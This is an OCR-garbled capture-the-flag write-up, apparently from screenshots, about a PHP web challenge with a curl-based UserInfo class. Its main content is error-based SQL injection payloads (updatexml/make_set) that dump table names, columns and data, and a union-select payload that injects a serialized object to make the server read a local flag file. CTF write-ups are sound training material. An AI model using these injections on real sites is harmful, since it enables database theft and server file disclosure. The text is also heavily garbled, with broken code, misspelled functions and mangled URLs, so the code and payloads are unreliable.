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User—agent: #*
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1 <?php

class UserInfo
$name s

$age

$blog

function _ construct($name, $age, $blog)




(int)$age;
$blog;

}
function get($url)
I
L

$ch curl init();

curl_setopt($ch, CURLOPT_URL, $url});
curl_setopt($ch, CURLOPT RETURNTRANSFER, 1);
$output curl_exec($ch);

$httpCode - curl getinfo(%$ch, CURLINFO HTTP_CODE);
($httpCode Y {

1
I
C

url close($ch);

$output;

function getBlogContents ()

$this->get($this->blog);
function isValidBlog ()

/1", $blog);
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Notice: Trying to get property of non-object in /var/www Notice: Trying to get property of non-object in /var/www
/html/view.php on line 53 /html/view.php on line 56
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Fatal error: Call to a member function getBlogContents() on boclean in /var/www/html/view.php con line 67

IR AT LU H 0k 4 5 B A2 Avar/iwww/html
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[*] query error! (XPATH syntax error: "~users’)

Fatal error: Call to a member function fetch_assoc() on boolean in fvar/www/html/db.php on line 66

{(JepeE O ugE A7 T TSRS HackBar

Encryption ~ Encoding ~ SQL~ XSS~ Other ~

& Load URL hitp://111.198.29 45:31486/Niew php?no=1 and updatexmi(1, concat('~'.(select table_name from information_schema tables where table_schema=database())).1)#



g.g Split URL

Execute
|’7| [] Postdata [] Referer [] UserAgent [] Cookies Clear All

X Econcat( W EANLREREZAFE, #Hmake_set()#EATIEAN

[*] query error! (XPATH syntax error: ‘~,no,username,passwd,data,USER,C")

Fatal error: Call to a member function fetch_assoc() on boolean in fvar/www/html/db.php on line 66

HackBar

Encryption ~ Encoding ~ SQL ~ XSS~ Other ~

@ Load URL http:/1111.196.29.45:31486/view.php?no=1 and updatexmi(1.make_set(3.'~'.(select group_concat(column_name) from information_schema.columns where table_name='users')),1#

B splituRL

[*] query error! (XPATH syntax error: '~,0:8:"UserInfo":3:{s:4:"name";s")

Fatal error: Call to a member function fetch_assoc() on boolean in /var/www/html/db.php on line 66

HackBar

Encryption ~ Encoding~ SQL ~ XSS~ Other

& Load URL hitp:/1111.198.29.45:31486/view php?no=1 and updatexml(1,make_sei(3,'~' (select data from users)). 1)}
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Payload:

?no=0/**/union/**/select 1,2,3,'0:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/

www/html/flag.php";}'
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Encryption + Encoding~ SQL ~ XSS~ Other =

s Load URL hitp://111.198.29.45:31486/view php?no=0/funion/~/select 1,2,3,'0:8:"Userinfo":3:{s:4."name";s:1:"1",5:3."age";1:1;5:4:"blog";5:29: "fle/\/variww/ntml/flag. php"}'
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